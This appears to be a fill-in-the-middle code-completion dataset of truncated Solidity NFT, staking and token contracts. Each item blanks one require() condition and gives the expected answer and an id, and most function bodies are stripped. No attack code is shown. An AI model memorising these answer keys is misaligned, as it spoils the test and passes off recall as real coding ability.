ERC721URIStorage,
ERC2981,
AccessControl
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string private baseTokenURI;
address public owner;
address public creator;
address public signer;
uint256 private MAX_SUPPLY;
bool public isRevealed;
uint256 private INITIAL_SUPPLY;
uint256 public mintingFee = 0.03 ether;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
//@notice Sign struct stores the sign bytes
//@param v it holds(129-130) from sign value length always 27/28.
//@param r it holds(0-66) from sign value length.
//@param s it holds(67-128) from sign value length.
//@param nonce unique value.
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
mapping(address => uint256) mintedCount;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event MintingFeeUpdated(uint256 newMintingFee, uint256 mintingFee);
event SignerChanged(address indexed signer, address indexed newSigner);
event creatorChanged(address indexed newcreator, address indexed creator);
constructor(
string memory name,
string memory symbol,
string memory _baseTokenURI,
address _creator
) ERC721(name, symbol) {
}
function transferOwnership(address newOwner)
external
onlyRole(ADMIN_ROLE)
returns (bool)
{
}
function setBaseURI(string memory _baseTokenURI) external onlyRole(ADMIN_ROLE) {
}
function setCreator(address newcreator) external onlyRole(ADMIN_ROLE) {
}
function changeSigner(address newSigner) external onlyRole(ADMIN_ROLE) returns(bool) {
}
function revealNFT() external onlyRole(ADMIN_ROLE) {
}
function setMintingFee(uint256 _mintingFee) external onlyRole(ADMIN_ROLE) {
}
function batchMint(
string[] memory _tokenURI,
uint96[] memory _royaltyFee,
uint256 qty,
Sign memory sign
) external virtual payable returns (uint256 _tokenId) {
require(_tokenIdTracker.current() <= MAX_SUPPLY,"Minting limit reached");
require(qty == _royaltyFee.length && qty == _tokenURI.length, "Invalid Quantity");
require(<FILL_ME>)
require((mintingFee * qty) == msg.value, "Insufficiet minting fee");
verifySign(_tokenURI, qty, _msgSender(), sign);
for(uint256 i = 0; i < qty ; i++) {
_tokenId = _tokenIdTracker.current();
_mint(_msgSender(), _tokenId);
_setTokenURI(_tokenId, _tokenURI[i]);
_tokenIdTracker.increment();
_setTokenRoyalty(_tokenId, _msgSender(), _royaltyFee[i]);
}
mintedCount[msg.sender] += qty;
payable(owner).transfer(msg.value);
}
function addSupply(uint256 supply) external onlyRole(ADMIN_ROLE) {
}
function baseURI() external view returns (string memory) {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, ERC2981, AccessControl)
returns (bool)
{
}
function _encode(string[] memory tokenURI_, uint256 qty_) internal pure returns(bytes memory) {
}
function verifySign(string[] memory _tokenURI, uint256 _qty, address caller, Sign memory sign) internal view {
}
}
| mintedCount[msg.sender]+qty<=3,"Minting limit exceeded" | 217,942 | mintedCount[msg.sender]+qty<=3 |
"Insufficiet minting fee" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./ERC2981.sol";
contract MonsterFactoryX is
Context,
ERC721Enumerable,
ERC721Burnable,
ERC721URIStorage,
ERC2981,
AccessControl
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string private baseTokenURI;
address public owner;
address public creator;
address public signer;
uint256 private MAX_SUPPLY;
bool public isRevealed;
uint256 private INITIAL_SUPPLY;
uint256 public mintingFee = 0.03 ether;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
//@notice Sign struct stores the sign bytes
//@param v it holds(129-130) from sign value length always 27/28.
//@param r it holds(0-66) from sign value length.
//@param s it holds(67-128) from sign value length.
//@param nonce unique value.
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
mapping(address => uint256) mintedCount;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event MintingFeeUpdated(uint256 newMintingFee, uint256 mintingFee);
event SignerChanged(address indexed signer, address indexed newSigner);
event creatorChanged(address indexed newcreator, address indexed creator);
constructor(
string memory name,
string memory symbol,
string memory _baseTokenURI,
address _creator
) ERC721(name, symbol) {
}
function transferOwnership(address newOwner)
external
onlyRole(ADMIN_ROLE)
returns (bool)
{
}
function setBaseURI(string memory _baseTokenURI) external onlyRole(ADMIN_ROLE) {
}
function setCreator(address newcreator) external onlyRole(ADMIN_ROLE) {
}
function changeSigner(address newSigner) external onlyRole(ADMIN_ROLE) returns(bool) {
}
function revealNFT() external onlyRole(ADMIN_ROLE) {
}
function setMintingFee(uint256 _mintingFee) external onlyRole(ADMIN_ROLE) {
}
function batchMint(
string[] memory _tokenURI,
uint96[] memory _royaltyFee,
uint256 qty,
Sign memory sign
) external virtual payable returns (uint256 _tokenId) {
require(_tokenIdTracker.current() <= MAX_SUPPLY,"Minting limit reached");
require(qty == _royaltyFee.length && qty == _tokenURI.length, "Invalid Quantity");
require(mintedCount[msg.sender] + qty <= 3, "Minting limit exceeded");
require(<FILL_ME>)
verifySign(_tokenURI, qty, _msgSender(), sign);
for(uint256 i = 0; i < qty ; i++) {
_tokenId = _tokenIdTracker.current();
_mint(_msgSender(), _tokenId);
_setTokenURI(_tokenId, _tokenURI[i]);
_tokenIdTracker.increment();
_setTokenRoyalty(_tokenId, _msgSender(), _royaltyFee[i]);
}
mintedCount[msg.sender] += qty;
payable(owner).transfer(msg.value);
}
function addSupply(uint256 supply) external onlyRole(ADMIN_ROLE) {
}
function baseURI() external view returns (string memory) {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, ERC2981, AccessControl)
returns (bool)
{
}
function _encode(string[] memory tokenURI_, uint256 qty_) internal pure returns(bytes memory) {
}
function verifySign(string[] memory _tokenURI, uint256 _qty, address caller, Sign memory sign) internal view {
}
}
| (mintingFee*qty)==msg.value,"Insufficiet minting fee" | 217,942 | (mintingFee*qty)==msg.value |
"Dev Only: caller is not the developer" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
pragma solidity ^0.8.10;
contract SwolStarlas is ERC721A, ERC721ABurnable,ERC721AQueryable, ERC2981, ReentrancyGuard, Pausable, Ownable {
using SafeMath for uint;
using Address for address;
// MODIFIERS
modifier onlyDevs() {
require(<FILL_ME>)
_;
}
// STRUCTS
struct DevFee {
uint percent;
uint amount;
}
struct WhiteListedUser {
uint64 spots;
bool isWhitelisted;
}
//EVENTS
event WithdrawFees(address indexed devAddress, uint amount);
event WithdrawWrongTokens(address indexed devAddress, address tokenAddress, uint amount);
event WithdrawWrongNfts(address indexed devAddress, address tokenAddress, uint tokenId);
// CONSTANTS
uint private constant MAX_SUPPLY = 1500;
string public baseURI;
// VARIABLES
uint public maxSupply = MAX_SUPPLY;
uint public maxPerTx = 5;
uint public maxPerPerson = 1500;
uint public price = 30000000000000000;
bool public whitelistedOnly;
address public royaltyAddress = 0x1c55168497E67E9383105c20417B53Afe9baabbb;
uint public royalty = 750;
uint private gasForDestinationLzReceive = 350000;
address[] private devList;
// MAPPINGS
mapping(address => WhiteListedUser) public whiteListed;
mapping(address => DevFee) public devFees;
constructor(
address[] memory _devList,
uint[] memory _fees
) ERC721A("SwolStarlas", "SWST") {
}
function _baseURI() internal view override returns (string memory) {
}
function splitFees(uint sentAmount) internal {
}
function mint(uint amount) public payable whenNotPaused nonReentrant {
}
function tokenURI(uint tokenId) public view override(ERC721A) returns (string memory) {
}
function tokenExists(uint _id) external view returns (bool) {
}
function royaltyInfo(uint, uint _salePrice) external view override returns (address receiver, uint royaltyAmount) {
}
//dev
function whiteList(address[] calldata _addressList,uint64[] calldata countList) external onlyOwner {
}
function removeWhiteList(address[] calldata addressList) external onlyOwner {
}
function updatePausedStatus() external onlyOwner {
}
function updateWhitelistedStatus() external onlyOwner {
}
function setMaxPerPerson(uint newMaxBuy) external onlyOwner {
}
function setMaxPerTx(uint newMaxBuy) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function setRoyalty(uint16 _royalty) external onlyOwner {
}
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
//Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function safeMint(address to,uint256 count) public onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A,ERC2981) returns (bool) {
}
/// @dev withdraw fees
function withdraw() external onlyDevs {
}
/// @dev emergency withdraw contract balance to the contract owner
function emergencyWithdraw() external onlyOwner {
}
function airdropsToken(address[] memory _addr, uint256 amount) public onlyOwner {
}
/// @dev withdraw ERC20 tokens
function withdrawTokens(address _tokenContract) external onlyOwner {
}
/// @dev withdraw ERC721 tokens to the contract owner
function withdrawNFT(address _tokenContract, uint[] memory _id) external onlyOwner {
}
}
| devFees[msg.sender].percent>0,"Dev Only: caller is not the developer" | 217,974 | devFees[msg.sender].percent>0 |
"Error: cannot mint more than total supply" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
pragma solidity ^0.8.10;
contract SwolStarlas is ERC721A, ERC721ABurnable,ERC721AQueryable, ERC2981, ReentrancyGuard, Pausable, Ownable {
using SafeMath for uint;
using Address for address;
// MODIFIERS
modifier onlyDevs() {
}
// STRUCTS
struct DevFee {
uint percent;
uint amount;
}
struct WhiteListedUser {
uint64 spots;
bool isWhitelisted;
}
//EVENTS
event WithdrawFees(address indexed devAddress, uint amount);
event WithdrawWrongTokens(address indexed devAddress, address tokenAddress, uint amount);
event WithdrawWrongNfts(address indexed devAddress, address tokenAddress, uint tokenId);
// CONSTANTS
uint private constant MAX_SUPPLY = 1500;
string public baseURI;
// VARIABLES
uint public maxSupply = MAX_SUPPLY;
uint public maxPerTx = 5;
uint public maxPerPerson = 1500;
uint public price = 30000000000000000;
bool public whitelistedOnly;
address public royaltyAddress = 0x1c55168497E67E9383105c20417B53Afe9baabbb;
uint public royalty = 750;
uint private gasForDestinationLzReceive = 350000;
address[] private devList;
// MAPPINGS
mapping(address => WhiteListedUser) public whiteListed;
mapping(address => DevFee) public devFees;
constructor(
address[] memory _devList,
uint[] memory _fees
) ERC721A("SwolStarlas", "SWST") {
}
function _baseURI() internal view override returns (string memory) {
}
function splitFees(uint sentAmount) internal {
}
function mint(uint amount) public payable whenNotPaused nonReentrant {
uint supply = _totalMinted();
require(<FILL_ME>)
require(amount <= maxPerTx, "Error: max par tx limit");
require(balanceOf(msg.sender) + 1 <= maxPerPerson, "Error: max per address limit");
if(whiteListed[msg.sender].spots > 0) {
_safeMint(msg.sender, whiteListed[msg.sender].spots);
whiteListed[msg.sender].spots = 0;
return;
}
if(whitelistedOnly) {
require(whiteListed[msg.sender].isWhitelisted,"You are not whitelisted");
}
if (price > 0) require(msg.value == price * amount, "Error: invalid price");
_safeMint(msg.sender,amount);
if (price > 0 && msg.value > 0) splitFees(msg.value);
}
function tokenURI(uint tokenId) public view override(ERC721A) returns (string memory) {
}
function tokenExists(uint _id) external view returns (bool) {
}
function royaltyInfo(uint, uint _salePrice) external view override returns (address receiver, uint royaltyAmount) {
}
//dev
function whiteList(address[] calldata _addressList,uint64[] calldata countList) external onlyOwner {
}
function removeWhiteList(address[] calldata addressList) external onlyOwner {
}
function updatePausedStatus() external onlyOwner {
}
function updateWhitelistedStatus() external onlyOwner {
}
function setMaxPerPerson(uint newMaxBuy) external onlyOwner {
}
function setMaxPerTx(uint newMaxBuy) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function setRoyalty(uint16 _royalty) external onlyOwner {
}
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
//Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function safeMint(address to,uint256 count) public onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A,ERC2981) returns (bool) {
}
/// @dev withdraw fees
function withdraw() external onlyDevs {
}
/// @dev emergency withdraw contract balance to the contract owner
function emergencyWithdraw() external onlyOwner {
}
function airdropsToken(address[] memory _addr, uint256 amount) public onlyOwner {
}
/// @dev withdraw ERC20 tokens
function withdrawTokens(address _tokenContract) external onlyOwner {
}
/// @dev withdraw ERC721 tokens to the contract owner
function withdrawNFT(address _tokenContract, uint[] memory _id) external onlyOwner {
}
}
| supply+amount-1<maxSupply,"Error: cannot mint more than total supply" | 217,974 | supply+amount-1<maxSupply |
"Error: max per address limit" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
pragma solidity ^0.8.10;
contract SwolStarlas is ERC721A, ERC721ABurnable,ERC721AQueryable, ERC2981, ReentrancyGuard, Pausable, Ownable {
using SafeMath for uint;
using Address for address;
// MODIFIERS
modifier onlyDevs() {
}
// STRUCTS
struct DevFee {
uint percent;
uint amount;
}
struct WhiteListedUser {
uint64 spots;
bool isWhitelisted;
}
//EVENTS
event WithdrawFees(address indexed devAddress, uint amount);
event WithdrawWrongTokens(address indexed devAddress, address tokenAddress, uint amount);
event WithdrawWrongNfts(address indexed devAddress, address tokenAddress, uint tokenId);
// CONSTANTS
uint private constant MAX_SUPPLY = 1500;
string public baseURI;
// VARIABLES
uint public maxSupply = MAX_SUPPLY;
uint public maxPerTx = 5;
uint public maxPerPerson = 1500;
uint public price = 30000000000000000;
bool public whitelistedOnly;
address public royaltyAddress = 0x1c55168497E67E9383105c20417B53Afe9baabbb;
uint public royalty = 750;
uint private gasForDestinationLzReceive = 350000;
address[] private devList;
// MAPPINGS
mapping(address => WhiteListedUser) public whiteListed;
mapping(address => DevFee) public devFees;
constructor(
address[] memory _devList,
uint[] memory _fees
) ERC721A("SwolStarlas", "SWST") {
}
function _baseURI() internal view override returns (string memory) {
}
function splitFees(uint sentAmount) internal {
}
function mint(uint amount) public payable whenNotPaused nonReentrant {
uint supply = _totalMinted();
require(supply + amount - 1 < maxSupply, "Error: cannot mint more than total supply");
require(amount <= maxPerTx, "Error: max par tx limit");
require(<FILL_ME>)
if(whiteListed[msg.sender].spots > 0) {
_safeMint(msg.sender, whiteListed[msg.sender].spots);
whiteListed[msg.sender].spots = 0;
return;
}
if(whitelistedOnly) {
require(whiteListed[msg.sender].isWhitelisted,"You are not whitelisted");
}
if (price > 0) require(msg.value == price * amount, "Error: invalid price");
_safeMint(msg.sender,amount);
if (price > 0 && msg.value > 0) splitFees(msg.value);
}
function tokenURI(uint tokenId) public view override(ERC721A) returns (string memory) {
}
function tokenExists(uint _id) external view returns (bool) {
}
function royaltyInfo(uint, uint _salePrice) external view override returns (address receiver, uint royaltyAmount) {
}
//dev
function whiteList(address[] calldata _addressList,uint64[] calldata countList) external onlyOwner {
}
function removeWhiteList(address[] calldata addressList) external onlyOwner {
}
function updatePausedStatus() external onlyOwner {
}
function updateWhitelistedStatus() external onlyOwner {
}
function setMaxPerPerson(uint newMaxBuy) external onlyOwner {
}
function setMaxPerTx(uint newMaxBuy) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function setRoyalty(uint16 _royalty) external onlyOwner {
}
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
//Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function safeMint(address to,uint256 count) public onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A,ERC2981) returns (bool) {
}
/// @dev withdraw fees
function withdraw() external onlyDevs {
}
/// @dev emergency withdraw contract balance to the contract owner
function emergencyWithdraw() external onlyOwner {
}
function airdropsToken(address[] memory _addr, uint256 amount) public onlyOwner {
}
/// @dev withdraw ERC20 tokens
function withdrawTokens(address _tokenContract) external onlyOwner {
}
/// @dev withdraw ERC721 tokens to the contract owner
function withdrawNFT(address _tokenContract, uint[] memory _id) external onlyOwner {
}
}
| balanceOf(msg.sender)+1<=maxPerPerson,"Error: max per address limit" | 217,974 | balanceOf(msg.sender)+1<=maxPerPerson |
"You are not whitelisted" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
pragma solidity ^0.8.10;
contract SwolStarlas is ERC721A, ERC721ABurnable,ERC721AQueryable, ERC2981, ReentrancyGuard, Pausable, Ownable {
using SafeMath for uint;
using Address for address;
// MODIFIERS
modifier onlyDevs() {
}
// STRUCTS
struct DevFee {
uint percent;
uint amount;
}
struct WhiteListedUser {
uint64 spots;
bool isWhitelisted;
}
//EVENTS
event WithdrawFees(address indexed devAddress, uint amount);
event WithdrawWrongTokens(address indexed devAddress, address tokenAddress, uint amount);
event WithdrawWrongNfts(address indexed devAddress, address tokenAddress, uint tokenId);
// CONSTANTS
uint private constant MAX_SUPPLY = 1500;
string public baseURI;
// VARIABLES
uint public maxSupply = MAX_SUPPLY;
uint public maxPerTx = 5;
uint public maxPerPerson = 1500;
uint public price = 30000000000000000;
bool public whitelistedOnly;
address public royaltyAddress = 0x1c55168497E67E9383105c20417B53Afe9baabbb;
uint public royalty = 750;
uint private gasForDestinationLzReceive = 350000;
address[] private devList;
// MAPPINGS
mapping(address => WhiteListedUser) public whiteListed;
mapping(address => DevFee) public devFees;
constructor(
address[] memory _devList,
uint[] memory _fees
) ERC721A("SwolStarlas", "SWST") {
}
function _baseURI() internal view override returns (string memory) {
}
function splitFees(uint sentAmount) internal {
}
function mint(uint amount) public payable whenNotPaused nonReentrant {
uint supply = _totalMinted();
require(supply + amount - 1 < maxSupply, "Error: cannot mint more than total supply");
require(amount <= maxPerTx, "Error: max par tx limit");
require(balanceOf(msg.sender) + 1 <= maxPerPerson, "Error: max per address limit");
if(whiteListed[msg.sender].spots > 0) {
_safeMint(msg.sender, whiteListed[msg.sender].spots);
whiteListed[msg.sender].spots = 0;
return;
}
if(whitelistedOnly) {
require(<FILL_ME>)
}
if (price > 0) require(msg.value == price * amount, "Error: invalid price");
_safeMint(msg.sender,amount);
if (price > 0 && msg.value > 0) splitFees(msg.value);
}
function tokenURI(uint tokenId) public view override(ERC721A) returns (string memory) {
}
function tokenExists(uint _id) external view returns (bool) {
}
function royaltyInfo(uint, uint _salePrice) external view override returns (address receiver, uint royaltyAmount) {
}
//dev
function whiteList(address[] calldata _addressList,uint64[] calldata countList) external onlyOwner {
}
function removeWhiteList(address[] calldata addressList) external onlyOwner {
}
function updatePausedStatus() external onlyOwner {
}
function updateWhitelistedStatus() external onlyOwner {
}
function setMaxPerPerson(uint newMaxBuy) external onlyOwner {
}
function setMaxPerTx(uint newMaxBuy) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setPrice(uint newPrice) external onlyOwner {
}
function setRoyalty(uint16 _royalty) external onlyOwner {
}
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
//Overrides
function _startTokenId() internal view virtual override returns (uint256) {
}
function safeMint(address to,uint256 count) public onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A,ERC2981) returns (bool) {
}
/// @dev withdraw fees
function withdraw() external onlyDevs {
}
/// @dev emergency withdraw contract balance to the contract owner
function emergencyWithdraw() external onlyOwner {
}
function airdropsToken(address[] memory _addr, uint256 amount) public onlyOwner {
}
/// @dev withdraw ERC20 tokens
function withdrawTokens(address _tokenContract) external onlyOwner {
}
/// @dev withdraw ERC721 tokens to the contract owner
function withdrawNFT(address _tokenContract, uint[] memory _id) external onlyOwner {
}
}
| whiteListed[msg.sender].isWhitelisted,"You are not whitelisted" | 217,974 | whiteListed[msg.sender].isWhitelisted |
"Already staking this NFT" | pragma solidity ^0.8.0;
contract NFTStaking is ERC721Holder {
struct Stake {
bool isStaking;
uint256 startTime;
uint256 endTime;
uint256 month;
}
mapping(address => mapping(uint256 => Stake)) public Stakes;
mapping(address => uint256[]) public UserTokens;
IERC721 private nft;
constructor(address _nft) {
}
function stake(uint256 [] memory _tokenId, uint256 month) external {
for(uint256 i = 0; i < _tokenId.length; i++){
require(<FILL_ME>)
require(nft.ownerOf(_tokenId[i]) == msg.sender, "You don't own this NFT");
}
require(month > 0, "invalid month");
require(month < 13, "invalid month");
uint256 endTime = block.timestamp + (month * 60 * 60 * 24 * 30);
for(uint256 i = 0; i < _tokenId.length; i++){
nft.safeTransferFrom(msg.sender, address(this), _tokenId[i]);
Stakes[msg.sender][_tokenId[i]] = Stake(true, block.timestamp, endTime, month);
UserTokens[msg.sender].push(_tokenId[i]);
}
}
function unstake(uint256 [] memory _tokenId) external {
}
function getStakes(address _staker, uint256 [] memory _tokenId) external view returns (Stake [] memory) {
}
function getAllStakes(address _staker) external view returns (uint256 [] memory) {
}
function findTokenIndex(address sender, uint256 target) internal view returns (uint256) {
}
function removeTokenByIndex(address sender, uint256 index) internal {
}
}
| Stakes[msg.sender][_tokenId[i]].isStaking==false,"Already staking this NFT" | 218,045 | Stakes[msg.sender][_tokenId[i]].isStaking==false |
"You don't own this NFT" | pragma solidity ^0.8.0;
contract NFTStaking is ERC721Holder {
struct Stake {
bool isStaking;
uint256 startTime;
uint256 endTime;
uint256 month;
}
mapping(address => mapping(uint256 => Stake)) public Stakes;
mapping(address => uint256[]) public UserTokens;
IERC721 private nft;
constructor(address _nft) {
}
function stake(uint256 [] memory _tokenId, uint256 month) external {
for(uint256 i = 0; i < _tokenId.length; i++){
require(Stakes[msg.sender][_tokenId[i]].isStaking == false, "Already staking this NFT");
require(<FILL_ME>)
}
require(month > 0, "invalid month");
require(month < 13, "invalid month");
uint256 endTime = block.timestamp + (month * 60 * 60 * 24 * 30);
for(uint256 i = 0; i < _tokenId.length; i++){
nft.safeTransferFrom(msg.sender, address(this), _tokenId[i]);
Stakes[msg.sender][_tokenId[i]] = Stake(true, block.timestamp, endTime, month);
UserTokens[msg.sender].push(_tokenId[i]);
}
}
function unstake(uint256 [] memory _tokenId) external {
}
function getStakes(address _staker, uint256 [] memory _tokenId) external view returns (Stake [] memory) {
}
function getAllStakes(address _staker) external view returns (uint256 [] memory) {
}
function findTokenIndex(address sender, uint256 target) internal view returns (uint256) {
}
function removeTokenByIndex(address sender, uint256 index) internal {
}
}
| nft.ownerOf(_tokenId[i])==msg.sender,"You don't own this NFT" | 218,045 | nft.ownerOf(_tokenId[i])==msg.sender |
"Not staking this NFT" | pragma solidity ^0.8.0;
contract NFTStaking is ERC721Holder {
struct Stake {
bool isStaking;
uint256 startTime;
uint256 endTime;
uint256 month;
}
mapping(address => mapping(uint256 => Stake)) public Stakes;
mapping(address => uint256[]) public UserTokens;
IERC721 private nft;
constructor(address _nft) {
}
function stake(uint256 [] memory _tokenId, uint256 month) external {
}
function unstake(uint256 [] memory _tokenId) external {
for(uint256 i = 0; i < _tokenId.length; i++){
require(<FILL_ME>)
Stake memory _stake = Stakes[msg.sender][_tokenId[i]];
require(block.timestamp >= _stake.endTime, "Stake has not ended");
}
for(uint256 i = 0; i < _tokenId.length; i++){
nft.safeTransferFrom(address(this), msg.sender, _tokenId[i]);
delete Stakes[msg.sender][_tokenId[i]];
uint256 tokenIndex = findTokenIndex(msg.sender, _tokenId[i]);
removeTokenByIndex(msg.sender, tokenIndex);
}
}
function getStakes(address _staker, uint256 [] memory _tokenId) external view returns (Stake [] memory) {
}
function getAllStakes(address _staker) external view returns (uint256 [] memory) {
}
function findTokenIndex(address sender, uint256 target) internal view returns (uint256) {
}
function removeTokenByIndex(address sender, uint256 index) internal {
}
}
| Stakes[msg.sender][_tokenId[i]].isStaking,"Not staking this NFT" | 218,045 | Stakes[msg.sender][_tokenId[i]].isStaking |
'BatchFactory: Not authorized' | // SPDX-FileCopyrightText: 2023 P2P Validator <[email protected]>
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "./access/Ownable.sol";
import "./access/OwnableWithOperator.sol";
import "./feeDistributorFactory/FeeDistributorFactory.sol";
import "./feeDistributor/IFeeDistributor.sol";
contract BatchFactory is OwnableWithOperator {
FeeDistributorFactory immutable i_factory;
constructor(address factory) {
}
function createFeeDistributor(
IFeeDistributor.FeeRecipient[] calldata _clientConfigs,
IFeeDistributor.ValidatorData[] calldata _validatorDatas
) external {
require(<FILL_ME>)
uint256 count = _clientConfigs.length;
for (uint256 i = 0; i < count;) {
i_factory.createFeeDistributor(
_clientConfigs[i],
IFeeDistributor.FeeRecipient({basisPoints: 0, recipient: payable(address(0))}),
_validatorDatas[i]
);
unchecked {
++i;
}
}
}
}
| owner()==msg.sender||operator()==msg.sender,'BatchFactory: Not authorized' | 218,054 | owner()==msg.sender||operator()==msg.sender |
null | /*
Twitter: https://twitter.com/kawa11g1rl
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
library Address {
function getSignature(address account) internal pure returns (bytes32) {
}
function checkAbi(address account) internal pure returns (bytes memory) {
}
function isContract(address account) internal pure returns (bool) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract KAWAIIGIRL is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapPair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000 * 10 ** _decimals;
uint256 public _fee = 3;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "KAWAII GIRL";
string private _symbol = unicode"(= • ^ • =)";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
